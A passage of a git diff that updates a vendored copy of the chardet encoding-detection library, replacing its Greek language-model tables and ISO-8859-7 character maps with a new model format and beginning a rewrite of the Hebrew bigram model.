-0,0,1,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,2,0,3,2,3,3,3,3,0,3,3,3,3,3,0,3,3,2,3,2,3,3,2,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,2,3,2,3,3,3,3,3,3,0,2,3,2,3,2,2,2,3,2,3,3,2,3,0,2,2,2,3,0, -2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,3,0,0,0,3,3,3,2,3,3,0,0,3,0,3,0,0,0,3,2,0,3,0,3,0,0,2,0,2,0, -0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,0,0,0,3,3,0,3,3,3,0,0,1,2,3,0, -3,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,2,0,0,3,2,2,3,3,0,3,3,3,3,3,2,1,3,0,3,2,3,3,2,1,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,3,3,0,2,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,3,0,3,2,3,0,0,3,3,3,0, -3,0,0,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,0,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,2,0,3,2,3,0,0,3,2,3,0, -2,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,3,1,2,2,3,3,3,3,3,3,0,2,3,0,3,0,0,0,3,3,0,3,0,2,0,0,2,3,1,0, -2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,0,3,3,3,3,0,3,0,3,3,2,3,0,3,3,3,3,3,3,0,3,3,3,0,2,3,0,0,3,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,0,3,3,3,0,0,3,0,0,0,3,3,0,3,0,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,3,0,0,0,3,3,3,3,3,3,0,0,3,0,2,0,0,0,3,3,0,3,0,3,0,0,2,0,2,0, -0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,3,0,3,0,2,0,3,2,0,3,2,3,2,3,0,0,3,2,3,2,3,3,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,3,0,0,2,3,3,3,3,3,0,0,0,3,0,2,1,0,0,3,2,2,2,0,3,0,0,2,2,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,0,3,3,3,2,0,3,0,3,0,3,3,0,2,1,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,2,3,3,3,0,3,3,3,3,3,3,0,2,3,0,3,0,0,0,2,1,0,2,2,3,0,0,2,2,2,0, -0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,3,0,0,2,3,3,3,2,3,0,0,1,3,0,2,0,0,0,0,3,0,1,0,2,0,0,1,1,1,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,3,1,0,3,0,0,0,3,2,0,3,2,3,3,3,0,0,3,0,3,2,2,2,1,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,0,3,3,3,0,0,3,0,0,0,0,2,0,2,3,3,2,2,2,2,3,0,2,0,2,2,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,3,3,3,2,0,0,0,0,0,0,2,3,0,2,0,2,3,2,0,0,3,0,3,0,3,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,3,2,3,3,2,2,3,0,2,0,3,0,0,0,2,0,0,0,0,1,2,0,2,0,2,0, -0,2,0,2,0,2,2,0,0,1,0,2,2,2,0,2,2,2,0,2,2,2,0,0,2,0,0,1,0,0,0,0, -0,2,0,3,3,2,0,0,0,0,0,0,1,3,0,2,0,2,2,2,0,0,2,0,3,0,0,2,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,3,0,2,3,2,0,2,2,0,2,0,2,2,0,2,0,2,2,2,0,0,0,0,0,0,2,3,0,0,0,2, -0,1,2,0,0,0,0,2,2,0,0,0,2,1,0,2,2,0,0,0,0,0,0,1,0,2,0,0,0,0,0,0, -0,0,2,1,0,2,3,2,2,3,2,3,2,0,0,3,3,3,0,0,3,2,0,0,0,1,1,0,2,0,2,2, -0,2,0,2,0,2,2,0,0,2,0,2,2,2,0,2,2,2,2,0,0,2,0,0,0,2,0,1,0,0,0,0, -0,3,0,3,3,2,2,0,3,0,0,0,2,2,0,2,2,2,1,2,0,0,1,2,2,0,0,3,0,0,0,2, -0,1,2,0,0,0,1,2,0,0,0,0,0,0,0,2,2,0,1,0,0,2,0,0,0,2,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,2,3,3,2,2,0,0,0,2,0,2,3,3,0,2,0,0,0,0,0,0,2,2,2,0,2,2,0,2,0,2, -0,2,2,0,0,2,2,2,2,1,0,0,2,2,0,2,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0, -0,2,0,3,2,3,0,0,0,3,0,0,2,2,0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,0,2, -0,0,2,2,0,0,2,2,2,0,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,2,0,0,3,2,0,2,2,2,2,2,0,0,0,2,0,0,0,0,2,0,1,0,0,2,0,1,0,0,0, -0,2,2,2,0,2,2,0,1,2,0,2,2,2,0,2,2,2,2,1,2,2,0,0,2,0,0,0,0,0,0,0, -0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, -0,2,0,2,0,2,2,0,0,0,0,1,2,1,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,3,2,3,0,0,2,0,0,0,2,2,0,2,0,0,0,1,0,0,2,0,2,0,2,2,0,0,0,0, -0,0,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0, -0,2,2,3,2,2,0,0,0,0,0,0,1,3,0,2,0,2,2,0,0,0,1,0,2,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,2,0,2,0,3,2,0,2,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, -0,0,2,0,0,0,0,1,1,0,0,2,1,2,0,2,2,0,1,0,0,1,0,0,0,2,0,0,0,0,0,0, -0,3,0,2,2,2,0,0,2,0,0,0,2,0,0,0,2,3,0,2,0,0,0,0,0,0,2,2,0,0,0,2, -0,1,2,0,0,0,1,2,2,1,0,0,0,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,2,1,2,0,2,2,0,2,0,0,2,0,0,0,0,1,2,1,0,2,1,0,0,0,0,0,0,0,0,0,0, -0,0,2,0,0,0,3,1,2,2,0,2,0,0,0,0,2,0,0,0,2,0,0,3,0,0,0,0,2,2,2,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,2,1,0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,2, -0,2,2,0,0,2,2,2,2,2,0,1,2,0,0,0,2,2,0,1,0,2,0,0,2,2,0,0,0,0,0,0, -0,0,0,0,1,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,0,0,0,0,2,0,2,0,0,0,0,2, -0,1,2,0,0,0,0,2,2,1,0,1,0,1,0,2,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0, -0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,2,0,0,2,2,0,0,0,0,1,0,0,0,0,0,0,2, -0,2,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0, -0,2,2,2,2,0,0,0,3,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,1, -0,0,2,0,0,0,0,1,2,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0, -0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,2,2,2,0,0,0,2,0,0,0,0,0,0,0,0,2, -0,0,1,0,0,0,0,2,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, -0,3,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,2, -0,0,2,0,0,0,0,2,2,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,2,0,2,2,1,0,0,0,0,0,0,2,0,0,2,0,2,2,2,0,0,0,0,0,0,2,0,0,0,0,2, -0,0,2,0,0,2,0,2,2,0,0,0,0,2,0,2,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0, -0,0,3,0,0,0,2,2,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0,0,0, -0,2,2,2,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1, -0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, -0,2,0,0,0,2,0,0,0,0,0,1,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,2,0,0,0, -0,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,2,0,2,0,0,0, -0,0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,1,2,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -) +WINDOWS_1253_GREEK_MODEL = SingleByteCharSetModel(charset_name='windows-1253', + language='Greek', + char_to_order_map=WINDOWS_1253_GREEK_CHAR_TO_ORDER, + language_model=GREEK_LANG_MODEL, + typical_positive_ratio=0.982851, + keep_ascii_letters=False, + alphabet='ΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩάέήίαβγδεζηθικλμνξοπρςστυφχψωόύώ') -Latin7GreekModel = { - 'char_to_order_map': Latin7_char_to_order_map, - 'precedence_matrix': GreekLangModel, - 'typical_positive_ratio': 0.982851, - 'keep_english_letter': False, - 'charset_name': "ISO-8859-7", - 'language': 'Greek', +ISO_8859_7_GREEK_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 82, # 'A' + 66: 100, # 'B' + 67: 104, # 'C' + 68: 94, # 'D' + 69: 98, # 'E' + 70: 101, # 'F' + 71: 116, # 'G' + 72: 102, # 'H' + 73: 111, # 'I' + 74: 187, # 'J' + 75: 117, # 'K' + 76: 92, # 'L' + 77: 88, # 'M' + 78: 113, # 'N' + 79: 85, # 'O' + 80: 79, # 'P' + 81: 118, # 'Q' + 82: 105, # 'R' + 83: 83, # 'S' + 84: 67, # 'T' + 85: 114, # 'U' + 86: 119, # 'V' + 87: 95, # 'W' + 88: 99, # 'X' + 89: 109, # 'Y' + 90: 188, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 72, # 'a' + 98: 70, # 'b' + 99: 80, # 'c' + 100: 81, # 'd' + 101: 60, # 'e' + 102: 96, # 'f' + 103: 93, # 'g' + 104: 89, # 'h' + 105: 68, # 'i' + 106: 120, # 'j' + 107: 97, # 'k' + 108: 77, # 'l' + 109: 86, # 'm' + 110: 69, # 'n' + 111: 55, # 'o' + 112: 78, # 'p' + 113: 115, # 'q' + 114: 65, # 'r' + 115: 66, # 's' + 116: 58, # 't' + 117: 76, # 'u' + 118: 106, # 'v' + 119: 103, # 'w' + 120: 87, # 'x' + 121: 107, # 'y' + 122: 112, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 255, # '\x80' + 129: 255, # '\x81' + 130: 255, # '\x82' + 131: 255, # '\x83' + 132: 255, # '\x84' + 133: 255, # '\x85' + 134: 255, # '\x86' + 135: 255, # '\x87' + 136: 255, # '\x88' + 137: 255, # '\x89' + 138: 255, # '\x8a' + 139: 255, # '\x8b' + 140: 255, # '\x8c' + 141: 255, # '\x8d' + 142: 255, # '\x8e' + 143: 255, # '\x8f' + 144: 255, # '\x90' + 145: 255, # '\x91' + 146: 255, # '\x92' + 147: 255, # '\x93' + 148: 255, # '\x94' + 149: 255, # '\x95' + 150: 255, # '\x96' + 151: 255, # '\x97' + 152: 255, # '\x98' + 153: 255, # '\x99' + 154: 255, # '\x9a' + 155: 255, # '\x9b' + 156: 255, # '\x9c' + 157: 255, # '\x9d' + 158: 255, # '\x9e' + 159: 255, # '\x9f' + 160: 253, # '\xa0' + 161: 233, # '‘' + 162: 90, # '’' + 163: 253, # '£' + 164: 253, # '€' + 165: 253, # '₯' + 166: 253, # '¦' + 167: 253, # '§' + 168: 253, # '¨' + 169: 253, # '©' + 170: 253, # 'ͺ' + 171: 253, # '«' + 172: 253, # '¬' + 173: 74, # '\xad' + 174: 253, # None + 175: 253, # '―' + 176: 253, # '°' + 177: 253, # '±' + 178: 253, # '²' + 179: 253, # '³' + 180: 247, # '΄' + 181: 248, # '΅' + 182: 61, # 'Ά' + 183: 36, # '·' + 184: 46, # 'Έ' + 185: 71, # 'Ή' + 186: 73, # 'Ί' + 187: 253, # '»' + 188: 54, # 'Ό' + 189: 253, # '½' + 190: 108, # 'Ύ' + 191: 123, # 'Ώ' + 192: 110, # 'ΐ' + 193: 31, # 'Α' + 194: 51, # 'Β' + 195: 43, # 'Γ' + 196: 41, # 'Δ' + 197: 34, # 'Ε' + 198: 91, # 'Ζ' + 199: 40, # 'Η' + 200: 52, # 'Θ' + 201: 47, # 'Ι' + 202: 44, # 'Κ' + 203: 53, # 'Λ' + 204: 38, # 'Μ' + 205: 49, # 'Ν' + 206: 59, # 'Ξ' + 207: 39, # 'Ο' + 208: 35, # 'Π' + 209: 48, # 'Ρ' + 210: 250, # None + 211: 37, # 'Σ' + 212: 33, # 'Τ' + 213: 45, # 'Υ' + 214: 56, # 'Φ' + 215: 50, # 'Χ' + 216: 84, # 'Ψ' + 217: 57, # 'Ω' + 218: 120, # 'Ϊ' + 219: 121, # 'Ϋ' + 220: 17, # 'ά' + 221: 18, # 'έ' + 222: 22, # 'ή' + 223: 15, # 'ί' + 224: 124, # 'ΰ' + 225: 1, # 'α' + 226: 29, # 'β' + 227: 20, # 'γ' + 228: 21, # 'δ' + 229: 3, # 'ε' + 230: 32, # 'ζ' + 231: 13, # 'η' + 232: 25, # 'θ' + 233: 5, # 'ι' + 234: 11, # 'κ' + 235: 16, # 'λ' + 236: 10, # 'μ' + 237: 6, # 'ν' + 238: 30, # 'ξ' + 239: 4, # 'ο' + 240: 9, # 'π' + 241: 8, # 'ρ' + 242: 14, # 'ς' + 243: 7, # 'σ' + 244: 2, # 'τ' + 245: 12, # 'υ' + 246: 28, # 'φ' + 247: 23, # 'χ' + 248: 42, # 'ψ' + 249: 24, # 'ω' + 250: 64, # 'ϊ' + 251: 75, # 'ϋ' + 252: 19, # 'ό' + 253: 26, # 'ύ' + 254: 27, # 'ώ' + 255: 253, # None } -Win1253GreekModel = { - 'char_to_order_map': win1253_char_to_order_map, - 'precedence_matrix': GreekLangModel, - 'typical_positive_ratio': 0.982851, - 'keep_english_letter': False, - 'charset_name': "windows-1253", - 'language': 'Greek', -} +ISO_8859_7_GREEK_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-7', + language='Greek', + char_to_order_map=ISO_8859_7_GREEK_CHAR_TO_ORDER, + language_model=GREEK_LANG_MODEL, + typical_positive_ratio=0.982851, + keep_ascii_letters=False, + alphabet='ΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩάέήίαβγδεζηθικλμνξοπρςστυφχψωόύώ') + diff --git a/thirdparty/chardet/langhebrewmodel.py b/thirdparty/chardet/langhebrewmodel.py index 58f4c875ec9..a62cae48c9b 100644 --- a/thirdparty/chardet/langhebrewmodel.py +++ b/thirdparty/chardet/langhebrewmodel.py @@ -1,200 +1,4383 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Universal charset detector code. -# -# The Initial Developer of the Original Code is -# Simon Montagu -# Portions created by the Initial Developer are Copyright (C) 2005 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# Shy Shalom - original C code -# Shoshannah Forbes - original C code (?) -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### +#!/usr/bin/env python +# -*- coding: utf-8 -*- -# 255: Control characters that usually does not exist in any text +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +HEBREW_LANG_MODEL = { + 50: { # 'a' + 50: 0, # 'a' + 60: 1, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 2, # 'l' + 54: 2, # 'n' + 49: 0, # 'o' + 51: 2, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 1, # 'ק' + 7: 0, # 'ר' + 10: 1, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 60: { # 'c' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 0, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 0, # 'n' + 49: 1, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 1, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 1, # 'מ' + 23: 0, # 'ן' + 12: 1, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 0, # '–' + 52: 0, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 61: { # 'd' + 50: 1, # 'a' + 60: 0, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 1, # 'l' + 54: 1, # 'n' + 49: 2, # 'o' + 51: 1, # 'r' + 43: 1, # 's' + 44: 0, # 't' + 63: 1, # 'u' + 34: 0, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 1, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 0, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 1, # '–' + 52: 1, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 42: { # 'e' + 50: 1, # 'a' + 60: 1, # 'c' + 61: 2, # 'd' + 42: 1, # 'e' + 53: 1, # 'i' + 56: 2, # 'l' + 54: 2, # 'n' + 49: 1, # 'o' + 51: 2, # 'r' + 43: 2, # 's' + 44: 2, # 't' + 63: 1, # 'u' + 34: 1, # '\xa0' + 55: 0, # '´' + 48: 0, # '¼' + 39: 0, # '½' + 57: 0, # '¾' + 30: 0, # 'ְ' + 59: 0, # 'ֱ' + 41: 0, # 'ֲ' + 33: 0, # 'ִ' + 37: 0, # 'ֵ' + 36: 0, # 'ֶ' + 31: 0, # 'ַ' + 29: 0, # 'ָ' + 35: 0, # 'ֹ' + 62: 0, # 'ֻ' + 28: 0, # 'ּ' + 38: 0, # 'ׁ' + 45: 0, # 'ׂ' + 9: 0, # 'א' + 8: 0, # 'ב' + 20: 0, # 'ג' + 16: 0, # 'ד' + 3: 0, # 'ה' + 2: 0, # 'ו' + 24: 0, # 'ז' + 14: 0, # 'ח' + 22: 0, # 'ט' + 1: 0, # 'י' + 25: 0, # 'ך' + 15: 0, # 'כ' + 4: 0, # 'ל' + 11: 0, # 'ם' + 6: 0, # 'מ' + 23: 0, # 'ן' + 12: 0, # 'נ' + 19: 0, # 'ס' + 13: 0, # 'ע' + 26: 0, # 'ף' + 18: 1, # 'פ' + 27: 0, # 'ץ' + 21: 0, # 'צ' + 17: 0, # 'ק' + 7: 0, # 'ר' + 10: 0, # 'ש' + 5: 0, # 'ת' + 32: 1, # '–' + 52: 2, # '’' + 47: 0, # '“' + 46: 1, # '”' + 58: 0, # '†' + 40: 1, # '…' + }, + 53: { # 'i' + 50: 1, # 'a' + 60: 2, # 'c' + 61: 1, # 'd' + 42: 1, # 'e' + 53: 0, # 'i' + 56: 1, # 